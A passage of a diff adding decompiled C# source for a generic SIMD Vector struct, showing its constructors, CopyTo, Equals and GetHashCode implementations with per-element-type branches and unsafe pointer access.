(int)(ptr2 - ptr); + int num2 = -1; + if (typeof(T) == typeof(byte)) + { + num2 = 1; + } + else if (typeof(T) == typeof(sbyte)) + { + num2 = 1; + } + else if (typeof(T) == typeof(ushort)) + { + num2 = 2; + } + else if (typeof(T) == typeof(short)) + { + num2 = 2; + } + else if (typeof(T) == typeof(uint)) + { + num2 = 4; + } + else if (typeof(T) == typeof(int)) + { + num2 = 4; + } + else if (typeof(T) == typeof(ulong)) + { + num2 = 8; + } + else if (typeof(T) == typeof(long)) + { + num2 = 8; + } + else if (typeof(T) == typeof(float)) + { + num2 = 4; + } + else + { + if (!(typeof(T) == typeof(double))) + { + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + num2 = 8; + } + return num / num2; + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe Vector(T value) + { + this = default(Vector); + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + fixed (byte* byte_ = ®ister.byte_0) + { + for (int i = 0; i < Count; i++) + { + byte_[i] = (byte)(object)value; + } + } + } + else if (typeof(T) == typeof(sbyte)) + { + fixed (sbyte* sbyte_ = ®ister.sbyte_0) + { + for (int j = 0; j < Count; j++) + { + sbyte_[j] = (sbyte)(object)value; + } + } + } + else if (typeof(T) == typeof(ushort)) + { + fixed (ushort* uint16_ = ®ister.uint16_0) + { + for (int k = 0; k < Count; k++) + { + uint16_[k] = (ushort)(object)value; + } + } + } + else if (typeof(T) == typeof(short)) + { + fixed (short* int16_ = ®ister.int16_0) + { + for (int l = 0; l < Count; l++) + { + int16_[l] = (short)(object)value; + } + } + } + else if (typeof(T) == typeof(uint)) + { + fixed (uint* uint32_ = ®ister.uint32_0) + { + for (int m = 0; m < Count; m++) + { + uint32_[m] = (uint)(object)value; + } + } + } + else if (typeof(T) == typeof(int)) + { + fixed (int* int32_ = ®ister.int32_0) + { + for (int n = 0; n < Count; n++) + { + int32_[n] = (int)(object)value; + } + } + } + else if (typeof(T) == typeof(ulong)) + { + fixed (ulong* uint64_ = ®ister.uint64_0) + { + for (int num = 0; num < Count; num++) + { + uint64_[num] = (ulong)(object)value; + } + } + } + else if (typeof(T) == typeof(long)) + { + fixed (long* int64_ = ®ister.int64_0) + { + for (int num2 = 0; num2 < Count; num2++) + { + int64_[num2] = (long)(object)value; + } + } + } + else if (typeof(T) == typeof(float)) + { + fixed (float* single_ = ®ister.single_0) + { + for (int num3 = 0; num3 < Count; num3++) + { + single_[num3] = (float)(object)value; + } + } + } + else + { + if (!(typeof(T) == typeof(double))) + { + return; + } + fixed (double* double_ = ®ister.double_0) + { + for (int num4 = 0; num4 < Count; num4++) + { + double_[num4] = (double)(object)value; + } + } + } + } + else if (typeof(T) == typeof(byte)) + { + register.byte_0 = (byte)(object)value; + register.byte_1 = (byte)(object)value; + register.byte_2 = (byte)(object)value; + register.byte_3 = (byte)(object)value; + register.byte_4 = (byte)(object)value; + register.byte_5 = (byte)(object)value; + register.byte_6 = (byte)(object)value; + register.byte_7 = (byte)(object)value; + register.byte_8 = (byte)(object)value; + register.byte_9 = (byte)(object)value; + register.byte_10 = (byte)(object)value; + register.byte_11 = (byte)(object)value; + register.byte_12 = (byte)(object)value; + register.byte_13 = (byte)(object)value; + register.byte_14 = (byte)(object)value; + register.byte_15 = (byte)(object)value; + } + else if (typeof(T) == typeof(sbyte)) + { + register.sbyte_0 = (sbyte)(object)value; + register.sbyte_1 = (sbyte)(object)value; + register.sbyte_2 = (sbyte)(object)value; + register.sbyte_3 = (sbyte)(object)value; + register.sbyte_4 = (sbyte)(object)value; + register.sbyte_5 = (sbyte)(object)value; + register.sbyte_6 = (sbyte)(object)value; + register.sbyte_7 = (sbyte)(object)value; + register.sbyte_8 = (sbyte)(object)value; + register.sbyte_9 = (sbyte)(object)value; + register.sbyte_10 = (sbyte)(object)value; + register.sbyte_11 = (sbyte)(object)value; + register.sbyte_12 = (sbyte)(object)value; + register.sbyte_13 = (sbyte)(object)value; + register.sbyte_14 = (sbyte)(object)value; + register.sbyte_15 = (sbyte)(object)value; + } + else if (typeof(T) == typeof(ushort)) + { + register.uint16_0 = (ushort)(object)value; + register.uint16_1 = (ushort)(object)value; + register.uint16_2 = (ushort)(object)value; + register.uint16_3 = (ushort)(object)value; + register.uint16_4 = (ushort)(object)value; + register.uint16_5 = (ushort)(object)value; + register.uint16_6 = (ushort)(object)value; + register.uint16_7 = (ushort)(object)value; + } + else if (typeof(T) == typeof(short)) + { + register.int16_0 = (short)(object)value; + register.int16_1 = (short)(object)value; + register.int16_2 = (short)(object)value; + register.int16_3 = (short)(object)value; + register.int16_4 = (short)(object)value; + register.int16_5 = (short)(object)value; + register.int16_6 = (short)(object)value; + register.int16_7 = (short)(object)value; + } + else if (typeof(T) == typeof(uint)) + { + register.uint32_0 = (uint)(object)value; + register.uint32_1 = (uint)(object)value; + register.uint32_2 = (uint)(object)value; + register.uint32_3 = (uint)(object)value; + } + else if (typeof(T) == typeof(int)) + { + register.int32_0 = (int)(object)value; + register.int32_1 = (int)(object)value; + register.int32_2 = (int)(object)value; + register.int32_3 = (int)(object)value; + } + else if (typeof(T) == typeof(ulong)) + { + register.uint64_0 = (ulong)(object)value; + register.uint64_1 = (ulong)(object)value; + } + else if (typeof(T) == typeof(long)) + { + register.int64_0 = (long)(object)value; + register.int64_1 = (long)(object)value; + } + else if (typeof(T) == typeof(float)) + { + register.single_0 = (float)(object)value; + register.single_1 = (float)(object)value; + register.single_2 = (float)(object)value; + register.single_3 = (float)(object)value; + } + else if (typeof(T) == typeof(double)) + { + register.double_0 = (double)(object)value; + register.double_1 = (double)(object)value; + } + } + + [System.Runtime.CompilerServices.Intrinsic] + public Vector(T[] values) + : this(values, 0) + { + } + + public unsafe Vector(T[] values, int index) + { + this = default(Vector); + if (values == null) + { + throw new NullReferenceException(System.SR.Arg_NullArgumentNullRef); + } + if (index < 0 || values.Length - index < Count) + { + throw new IndexOutOfRangeException(System.SR.Format(System.SR.Arg_InsufficientNumberOfElements, Count, "values")); + } + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + fixed (byte* byte_ = ®ister.byte_0) + { + for (int i = 0; i < Count; i++) + { + byte_[i] = (byte)(object)values[i + index]; + } + } + } + else if (typeof(T) == typeof(sbyte)) + { + fixed (sbyte* sbyte_ = ®ister.sbyte_0) + { + for (int j = 0; j < Count; j++) + { + sbyte_[j] = (sbyte)(object)values[j + index]; + } + } + } + else if (typeof(T) == typeof(ushort)) + { + fixed (ushort* uint16_ = ®ister.uint16_0) + { + for (int k = 0; k < Count; k++) + { + uint16_[k] = (ushort)(object)values[k + index]; + } + } + } + else if (typeof(T) == typeof(short)) + { + fixed (short* int16_ = ®ister.int16_0) + { + for (int l = 0; l < Count; l++) + { + int16_[l] = (short)(object)values[l + index]; + } + } + } + else if (typeof(T) == typeof(uint)) + { + fixed (uint* uint32_ = ®ister.uint32_0) + { + for (int m = 0; m < Count; m++) + { + uint32_[m] = (uint)(object)values[m + index]; + } + } + } + else if (typeof(T) == typeof(int)) + { + fixed (int* int32_ = ®ister.int32_0) + { + for (int n = 0; n < Count; n++) + { + int32_[n] = (int)(object)values[n + index]; + } + } + } + else if (typeof(T) == typeof(ulong)) + { + fixed (ulong* uint64_ = ®ister.uint64_0) + { + for (int num = 0; num < Count; num++) + { + uint64_[num] = (ulong)(object)values[num + index]; + } + } + } + else if (typeof(T) == typeof(long)) + { + fixed (long* int64_ = ®ister.int64_0) + { + for (int num2 = 0; num2 < Count; num2++) + { + int64_[num2] = (long)(object)values[num2 + index]; + } + } + } + else if (typeof(T) == typeof(float)) + { + fixed (float* single_ = ®ister.single_0) + { + for (int num3 = 0; num3 < Count; num3++) + { + single_[num3] = (float)(object)values[num3 + index]; + } + } + } + else + { + if (!(typeof(T) == typeof(double))) + { + return; + } + fixed (double* double_ = ®ister.double_0) + { + for (int num4 = 0; num4 < Count; num4++) + { + double_[num4] = (double)(object)values[num4 + index]; + } + } + } + } + else if (typeof(T) == typeof(byte)) + { + fixed (byte* byte_2 = ®ister.byte_0) + { + *byte_2 = (byte)(object)values[index]; + byte_2[1] = (byte)(object)values[1 + index]; + byte_2[2] = (byte)(object)values[2 + index]; + byte_2[3] = (byte)(object)values[3 + index]; + byte_2[4] = (byte)(object)values[4 + index]; + byte_2[5] = (byte)(object)values[5 + index]; + byte_2[6] = (byte)(object)values[6 + index]; + byte_2[7] = (byte)(object)values[7 + index]; + byte_2[8] = (byte)(object)values[8 + index]; + byte_2[9] = (byte)(object)values[9 + index]; + byte_2[10] = (byte)(object)values[10 + index]; + byte_2[11] = (byte)(object)values[11 + index]; + byte_2[12] = (byte)(object)values[12 + index]; + byte_2[13] = (byte)(object)values[13 + index]; + byte_2[14] = (byte)(object)values[14 + index]; + byte_2[15] = (byte)(object)values[15 + index]; + } + } + else if (typeof(T) == typeof(sbyte)) + { + fixed (sbyte* sbyte_2 = ®ister.sbyte_0) + { + *sbyte_2 = (sbyte)(object)values[index]; + sbyte_2[1] = (sbyte)(object)values[1 + index]; + sbyte_2[2] = (sbyte)(object)values[2 + index]; + sbyte_2[3] = (sbyte)(object)values[3 + index]; + sbyte_2[4] = (sbyte)(object)values[4 + index]; + sbyte_2[5] = (sbyte)(object)values[5 + index]; + sbyte_2[6] = (sbyte)(object)values[6 + index]; + sbyte_2[7] = (sbyte)(object)values[7 + index]; + sbyte_2[8] = (sbyte)(object)values[8 + index]; + sbyte_2[9] = (sbyte)(object)values[9 + index]; + sbyte_2[10] = (sbyte)(object)values[10 + index]; + sbyte_2[11] = (sbyte)(object)values[11 + index]; + sbyte_2[12] = (sbyte)(object)values[12 + index]; + sbyte_2[13] = (sbyte)(object)values[13 + index]; + sbyte_2[14] = (sbyte)(object)values[14 + index]; + sbyte_2[15] = (sbyte)(object)values[15 + index]; + } + } + else if (typeof(T) == typeof(ushort)) + { + fixed (ushort* uint16_2 = ®ister.uint16_0) + { + *uint16_2 = (ushort)(object)values[index]; + uint16_2[1] = (ushort)(object)values[1 + index]; + uint16_2[2] = (ushort)(object)values[2 + index]; + uint16_2[3] = (ushort)(object)values[3 + index]; + uint16_2[4] = (ushort)(object)values[4 + index]; + uint16_2[5] = (ushort)(object)values[5 + index]; + uint16_2[6] = (ushort)(object)values[6 + index]; + uint16_2[7] = (ushort)(object)values[7 + index]; + } + } + else if (typeof(T) == typeof(short)) + { + fixed (short* int16_2 = ®ister.int16_0) + { + *int16_2 = (short)(object)values[index]; + int16_2[1] = (short)(object)values[1 + index]; + int16_2[2] = (short)(object)values[2 + index]; + int16_2[3] = (short)(object)values[3 + index]; + int16_2[4] = (short)(object)values[4 + index]; + int16_2[5] = (short)(object)values[5 + index]; + int16_2[6] = (short)(object)values[6 + index]; + int16_2[7] = (short)(object)values[7 + index]; + } + } + else if (typeof(T) == typeof(uint)) + { + fixed (uint* uint32_2 = ®ister.uint32_0) + { + *uint32_2 = (uint)(object)values[index]; + uint32_2[1] = (uint)(object)values[1 + index]; + uint32_2[2] = (uint)(object)values[2 + index]; + uint32_2[3] = (uint)(object)values[3 + index]; + } + } + else if (typeof(T) == typeof(int)) + { + fixed (int* int32_2 = ®ister.int32_0) + { + *int32_2 = (int)(object)values[index]; + int32_2[1] = (int)(object)values[1 + index]; + int32_2[2] = (int)(object)values[2 + index]; + int32_2[3] = (int)(object)values[3 + index]; + } + } + else if (typeof(T) == typeof(ulong)) + { + fixed (ulong* uint64_2 = ®ister.uint64_0) + { + *uint64_2 = (ulong)(object)values[index]; + uint64_2[1] = (ulong)(object)values[1 + index]; + } + } + else if (typeof(T) == typeof(long)) + { + fixed (long* int64_2 = ®ister.int64_0) + { + *int64_2 = (long)(object)values[index]; + int64_2[1] = (long)(object)values[1 + index]; + } + } + else if (typeof(T) == typeof(float)) + { + fixed (float* single_2 = ®ister.single_0) + { + *single_2 = (float)(object)values[index]; + single_2[1] = (float)(object)values[1 + index]; + single_2[2] = (float)(object)values[2 + index]; + single_2[3] = (float)(object)values[3 + index]; + } + } + else if (typeof(T) == typeof(double)) + { + fixed (double* double_2 = ®ister.double_0) + { + *double_2 = (double)(object)values[index]; + double_2[1] = (double)(object)values[1 + index]; + } + } + } + + internal unsafe Vector(void* dataPointer) + : this(dataPointer, 0) + { + } + + internal unsafe Vector(void* dataPointer, int offset) + { + this = default(Vector); + if (typeof(T) == typeof(byte)) + { + byte* ptr = (byte*)dataPointer; + ptr += offset; + fixed (byte* byte_ = ®ister.byte_0) + { + for (int i = 0; i < Count; i++) + { + byte_[i] = ptr[i]; + } + } + return; + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = (sbyte*)dataPointer; + ptr2 += offset; + fixed (sbyte* sbyte_ = ®ister.sbyte_0) + { + for (int j = 0; j < Count; j++) + { + sbyte_[j] = ptr2[j]; + } + } + return; + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = (ushort*)dataPointer; + ptr3 += offset; + fixed (ushort* uint16_ = ®ister.uint16_0) + { + for (int k = 0; k < Count; k++) + { + uint16_[k] = ptr3[k]; + } + } + return; + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = (short*)dataPointer; + ptr4 += offset; + fixed (short* int16_ = ®ister.int16_0) + { + for (int l = 0; l < Count; l++) + { + int16_[l] = ptr4[l]; + } + } + return; + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = (uint*)dataPointer; + ptr5 += offset; + fixed (uint* uint32_ = ®ister.uint32_0) + { + for (int m = 0; m < Count; m++) + { + uint32_[m] = ptr5[m]; + } + } + return; + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = (int*)dataPointer; + ptr6 += offset; + fixed (int* int32_ = ®ister.int32_0) + { + for (int n = 0; n < Count; n++) + { + int32_[n] = ptr6[n]; + } + } + return; + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = (ulong*)dataPointer; + ptr7 += offset; + fixed (ulong* uint64_ = ®ister.uint64_0) + { + for (int num = 0; num < Count; num++) + { + uint64_[num] = ptr7[num]; + } + } + return; + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = (long*)dataPointer; + ptr8 += offset; + fixed (long* int64_ = ®ister.int64_0) + { + for (int num2 = 0; num2 < Count; num2++) + { + int64_[num2] = ptr8[num2]; + } + } + return; + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = (float*)dataPointer; + ptr9 += offset; + fixed (float* single_ = ®ister.single_0) + { + for (int num3 = 0; num3 < Count; num3++) + { + single_[num3] = ptr9[num3]; + } + } + return; + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = (double*)dataPointer; + ptr10 += offset; + fixed (double* double_ = ®ister.double_0) + { + for (int num4 = 0; num4 < Count; num4++) + { + double_[num4] = ptr10[num4]; + } + } + return; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + private Vector(ref Register existingRegister) + { + register = existingRegister; + } + + [System.Runtime.CompilerServices.Intrinsic] + public void CopyTo(T[] destination) + { + CopyTo(destination, 0); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe void CopyTo(T[] destination, int startIndex) + { + if (destination == null) + { + throw new NullReferenceException(System.SR.Arg_NullArgumentNullRef); + } + if (startIndex < 0 || startIndex >= destination.Length) + { + throw new ArgumentOutOfRangeException("startIndex", System.SR.Format(System.SR.Arg_ArgumentOutOfRangeException, startIndex)); + } + if (destination.Length - startIndex < Count) + { + throw new ArgumentException(System.SR.Format(System.SR.Arg_ElementsInSourceIsGreaterThanDestination, startIndex)); + } + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + fixed (byte* ptr = (byte[])(object)destination) + { + for (int i = 0; i < Count; i++) + { + ptr[startIndex + i] = (byte)(object)this[i]; + } + } + } + else if (typeof(T) == typeof(sbyte)) + { + fixed (sbyte* ptr2 = (sbyte[])(object)destination) + { + for (int j = 0; j < Count; j++) + { + ptr2[startIndex + j] = (sbyte)(object)this[j]; + } + } + } + else if (typeof(T) == typeof(ushort)) + { + fixed (ushort* ptr3 = (ushort[])(object)destination) + { + for (int k = 0; k < Count; k++) + { + ptr3[startIndex + k] = (ushort)(object)this[k]; + } + } + } + else if (typeof(T) == typeof(short)) + { + fixed (short* ptr4 = (short[])(object)destination) + { + for (int l = 0; l < Count; l++) + { + ptr4[startIndex + l] = (short)(object)this[l]; + } + } + } + else if (typeof(T) == typeof(uint)) + { + fixed (uint* ptr5 = (uint[])(object)destination) + { + for (int m = 0; m < Count; m++) + { + ptr5[startIndex + m] = (uint)(object)this[m]; + } + } + } + else if (typeof(T) == typeof(int)) + { + fixed (int* ptr6 = (int[])(object)destination) + { + for (int n = 0; n < Count; n++) + { + ptr6[startIndex + n] = (int)(object)this[n]; + } + } + } + else if (typeof(T) == typeof(ulong)) + { + fixed (ulong* ptr7 = (ulong[])(object)destination) + { + for (int num = 0; num < Count; num++) + { + ptr7[startIndex + num] = (ulong)(object)this[num]; + } + } + } + else if (typeof(T) == typeof(long)) + { + fixed (long* ptr8 = (long[])(object)destination) + { + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[startIndex + num2] = (long)(object)this[num2]; + } + } + } + else if (typeof(T) == typeof(float)) + { + fixed (float* ptr9 = (float[])(object)destination) + { + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[startIndex + num3] = (float)(object)this[num3]; + } + } + } + else + { + if (!(typeof(T) == typeof(double))) + { + return; + } + fixed (double* ptr10 = (double[])(object)destination) + { + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[startIndex + num4] = (double)(object)this[num4]; + } + } + } + } + else if (typeof(T) == typeof(byte)) + { + fixed (byte* ptr11 = (byte[])(object)destination) + { + ptr11[startIndex] = register.byte_0; + ptr11[startIndex + 1] = register.byte_1; + ptr11[startIndex + 2] = register.byte_2; + ptr11[startIndex + 3] = register.byte_3; + ptr11[startIndex + 4] = register.byte_4; + ptr11[startIndex + 5] = register.byte_5; + ptr11[startIndex + 6] = register.byte_6; + ptr11[startIndex + 7] = register.byte_7; + ptr11[startIndex + 8] = register.byte_8; + ptr11[startIndex + 9] = register.byte_9; + ptr11[startIndex + 10] = register.byte_10; + ptr11[startIndex + 11] = register.byte_11; + ptr11[startIndex + 12] = register.byte_12; + ptr11[startIndex + 13] = register.byte_13; + ptr11[startIndex + 14] = register.byte_14; + ptr11[startIndex + 15] = register.byte_15; + } + } + else if (typeof(T) == typeof(sbyte)) + { + fixed (sbyte* ptr12 = (sbyte[])(object)destination) + { + ptr12[startIndex] = register.sbyte_0; + ptr12[startIndex + 1] = register.sbyte_1; + ptr12[startIndex + 2] = register.sbyte_2; + ptr12[startIndex + 3] = register.sbyte_3; + ptr12[startIndex + 4] = register.sbyte_4; + ptr12[startIndex + 5] = register.sbyte_5; + ptr12[startIndex + 6] = register.sbyte_6; + ptr12[startIndex + 7] = register.sbyte_7; + ptr12[startIndex + 8] = register.sbyte_8; + ptr12[startIndex + 9] = register.sbyte_9; + ptr12[startIndex + 10] = register.sbyte_10; + ptr12[startIndex + 11] = register.sbyte_11; + ptr12[startIndex + 12] = register.sbyte_12; + ptr12[startIndex + 13] = register.sbyte_13; + ptr12[startIndex + 14] = register.sbyte_14; + ptr12[startIndex + 15] = register.sbyte_15; + } + } + else if (typeof(T) == typeof(ushort)) + { + fixed (ushort* ptr13 = (ushort[])(object)destination) + { + ptr13[startIndex] = register.uint16_0; + ptr13[startIndex + 1] = register.uint16_1; + ptr13[startIndex + 2] = register.uint16_2; + ptr13[startIndex + 3] = register.uint16_3; + ptr13[startIndex + 4] = register.uint16_4; + ptr13[startIndex + 5] = register.uint16_5; + ptr13[startIndex + 6] = register.uint16_6; + ptr13[startIndex + 7] = register.uint16_7; + } + } + else if (typeof(T) == typeof(short)) + { + fixed (short* ptr14 = (short[])(object)destination) + { + ptr14[startIndex] = register.int16_0; + ptr14[startIndex + 1] = register.int16_1; + ptr14[startIndex + 2] = register.int16_2; + ptr14[startIndex + 3] = register.int16_3; + ptr14[startIndex + 4] = register.int16_4; + ptr14[startIndex + 5] = register.int16_5; + ptr14[startIndex + 6] = register.int16_6; + ptr14[startIndex + 7] = register.int16_7; + } + } + else if (typeof(T) == typeof(uint)) + { + fixed (uint* ptr15 = (uint[])(object)destination) + { + ptr15[startIndex] = register.uint32_0; + ptr15[startIndex + 1] = register.uint32_1; + ptr15[startIndex + 2] = register.uint32_2; + ptr15[startIndex + 3] = register.uint32_3; + } + } + else if (typeof(T) == typeof(int)) + { + fixed (int* ptr16 = (int[])(object)destination) + { + ptr16[startIndex] = register.int32_0; + ptr16[startIndex + 1] = register.int32_1; + ptr16[startIndex + 2] = register.int32_2; + ptr16[startIndex + 3] = register.int32_3; + } + } + else if (typeof(T) == typeof(ulong)) + { + fixed (ulong* ptr17 = (ulong[])(object)destination) + { + ptr17[startIndex] = register.uint64_0; + ptr17[startIndex + 1] = register.uint64_1; + } + } + else if (typeof(T) == typeof(long)) + { + fixed (long* ptr18 = (long[])(object)destination) + { + ptr18[startIndex] = register.int64_0; + ptr18[startIndex + 1] = register.int64_1; + } + } + else if (typeof(T) == typeof(float)) + { + fixed (float* ptr19 = (float[])(object)destination) + { + ptr19[startIndex] = register.single_0; + ptr19[startIndex + 1] = register.single_1; + ptr19[startIndex + 2] = register.single_2; + ptr19[startIndex + 3] = register.single_3; + } + } + else if (typeof(T) == typeof(double)) + { + fixed (double* ptr20 = (double[])(object)destination) + { + ptr20[startIndex] = register.double_0; + ptr20[startIndex + 1] = register.double_1; + } + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public override bool Equals(object obj) + { + if (!(obj is Vector)) + { + return false; + } + return Equals((Vector)obj); + } + + [System.Runtime.CompilerServices.Intrinsic] + public bool Equals(Vector other) + { + if (Vector.IsHardwareAccelerated) + { + for (int i = 0; i < Count; i++) + { + if (!ScalarEquals(this[i], other[i])) + { + return false; + } + } + return true; + } + if (typeof(T) == typeof(byte)) + { + if (register.byte_0 == other.register.byte_0 && register.byte_1 == other.register.byte_1 && register.byte_2 == other.register.byte_2 && register.byte_3 == other.register.byte_3 && register.byte_4 == other.register.byte_4 && register.byte_5 == other.register.byte_5 && register.byte_6 == other.register.byte_6 && register.byte_7 == other.register.byte_7 && register.byte_8 == other.register.byte_8 && register.byte_9 == other.register.byte_9 && register.byte_10 == other.register.byte_10 && register.byte_11 == other.register.byte_11 && register.byte_12 == other.register.byte_12 && register.byte_13 == other.register.byte_13 && register.byte_14 == other.register.byte_14) + { + return register.byte_15 == other.register.byte_15; + } + return false; + } + if (typeof(T) == typeof(sbyte)) + { + if (register.sbyte_0 == other.register.sbyte_0 && register.sbyte_1 == other.register.sbyte_1 && register.sbyte_2 == other.register.sbyte_2 && register.sbyte_3 == other.register.sbyte_3 && register.sbyte_4 == other.register.sbyte_4 && register.sbyte_5 == other.register.sbyte_5 && register.sbyte_6 == other.register.sbyte_6 && register.sbyte_7 == other.register.sbyte_7 && register.sbyte_8 == other.register.sbyte_8 && register.sbyte_9 == other.register.sbyte_9 && register.sbyte_10 == other.register.sbyte_10 && register.sbyte_11 == other.register.sbyte_11 && register.sbyte_12 == other.register.sbyte_12 && register.sbyte_13 == other.register.sbyte_13 && register.sbyte_14 == other.register.sbyte_14) + { + return register.sbyte_15 == other.register.sbyte_15; + } + return false; + } + if (typeof(T) == typeof(ushort)) + { + if (register.uint16_0 == other.register.uint16_0 && register.uint16_1 == other.register.uint16_1 && register.uint16_2 == other.register.uint16_2 && register.uint16_3 == other.register.uint16_3 && register.uint16_4 == other.register.uint16_4 && register.uint16_5 == other.register.uint16_5 && register.uint16_6 == other.register.uint16_6) + { + return register.uint16_7 == other.register.uint16_7; + } + return false; + } + if (typeof(T) == typeof(short)) + { + if (register.int16_0 == other.register.int16_0 && register.int16_1 == other.register.int16_1 && register.int16_2 == other.register.int16_2 && register.int16_3 == other.register.int16_3 && register.int16_4 == other.register.int16_4 && register.int16_5 == other.register.int16_5 && register.int16_6 == other.register.int16_6) + { + return register.int16_7 == other.register.int16_7; + } + return false; + } + if (typeof(T) == typeof(uint)) + { + if (register.uint32_0 == other.register.uint32_0 && register.uint32_1 == other.register.uint32_1 && register.uint32_2 == other.register.uint32_2) + { + return register.uint32_3 == other.register.uint32_3; + } + return false; + } + if (typeof(T) == typeof(int)) + { + if (register.int32_0 == other.register.int32_0 && register.int32_1 == other.register.int32_1 && register.int32_2 == other.register.int32_2) + { + return register.int32_3 == other.register.int32_3; + } + return false; + } + if (typeof(T) == typeof(ulong)) + { + if (register.uint64_0 == other.register.uint64_0) + { + return register.uint64_1 == other.register.uint64_1; + } + return false; + } + if (typeof(T) == typeof(long)) + { + if (register.int64_0 == other.register.int64_0) + { + return register.int64_1 == other.register.int64_1; + } + return false; + } + if (typeof(T) == typeof(float)) + { + if (register.single_0 == other.register.single_0 && register.single_1 == other.register.single_1 && register.single_2 == other.register.single_2) + { + return register.single_3 == other.register.single_3; + } + return false; + } + if (typeof(T) == typeof(double)) + { + if (register.double_0 == other.register.double_0) + { + return register.double_1 == other.register.double_1; + } + return false; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + public override int GetHashCode() + { + int num = 0; + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + for (int i = 0; i < Count; i++) + { + num = HashHelpers.Combine(num, ((byte)(object)this[i]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(sbyte)) + { + for (int j = 0; j < Count; j++) + { + num = HashHelpers.Combine(num, ((sbyte)(object)this[j]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(ushort)) + { + for (int k = 0; k < Count; k++) + { + num = HashHelpers.Combine(num, ((ushort)(object)this[k]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(short)) + { + for (int l = 0; l < Count; l++) + { + num = HashHelpers.Combine(num, ((short)(object)this[l]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(uint)) + { + for (int m = 0; m < Count; m++) + { + num = HashHelpers.Combine(num, ((uint)(object)this[m]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(int)) + { + for (int n = 0; n < Count; n++) + { + num = HashHelpers.Combine(num, ((int)(object)this[n]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(ulong)) + { + for (int num2 = 0; num2 < Count; num2++) + { + num = HashHelpers.Combine(num, ((ulong)(object)this[num2]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(long)) + { + for (int num3 = 0; num3 < Count; num3++) + { + num = HashHelpers.Combine(num, ((long)(object)this[num3]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(float)) + { + for (int num4 = 0; num4 < Count; num4++) + { + num = HashHelpers.Combine(num, ((float)(object)this[num4]).GetHashCode()); + } + return num; + } + if (typeof(T) == typeof(double)) + { + for (int num5 = 0; num5 < Count; num5++) + { + num = HashHelpers.Combine(num, ((double)(object)this[num5]).GetHashCode()); + } + return num; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + if (typeof(T) == typeof(byte)) + { + num = HashHelpers.Combine(num, register.byte_0.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_1.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_2.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_3.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_4.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_5.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_6.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_7.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_8.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_9.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_10.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_11.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_12.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_13.GetHashCode()); + num = HashHelpers.Combine(num, register.byte_14.GetHashCode()); + return HashHelpers.Combine(num, register.byte_15.GetHashCode()); + } + if (typeof(T) == typeof(sbyte)) + { + num = HashHelpers.Combine(num, register.sbyte_0.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_1.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_2.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_3.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_4.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_5.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_6.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_7.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_8.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_9.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_10.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_11.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_12.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_13.GetHashCode()); + num = HashHelpers.Combine(num, register.sbyte_14.GetHashCode()); + return HashHelpers.Combine(num, register.sbyte_15.GetHashCode()); + } + if (typeof(T) == typeof(ushort)) + { + num = HashHelpers.Combine(num, register.uint16_0.GetHashCode()); + num = HashHelpers.Combine(num, register.uint16_1.GetHashCode()); + num = HashHelpers.Combine(num, register.uint16_2.GetHashCode()); + num = HashHelpers.Combine(num, register.uint16_3.GetHashCode()); + num = HashHelpers.Combine(num, register.uint16_4.GetHashCode()); + num = HashHelpers.Combine(num, register.uint16_5.GetHashCode()); + num = HashHelpers.Combine(num, register.uint16_6.GetHashCode()); + return HashHelpers.Combine(num, register.uint16_7.GetHashCode()); + } + if (typeof(T) == typeof(short)) + { + num = HashHelpers.Combine(num, register.int16_0.GetHashCode()); + num = 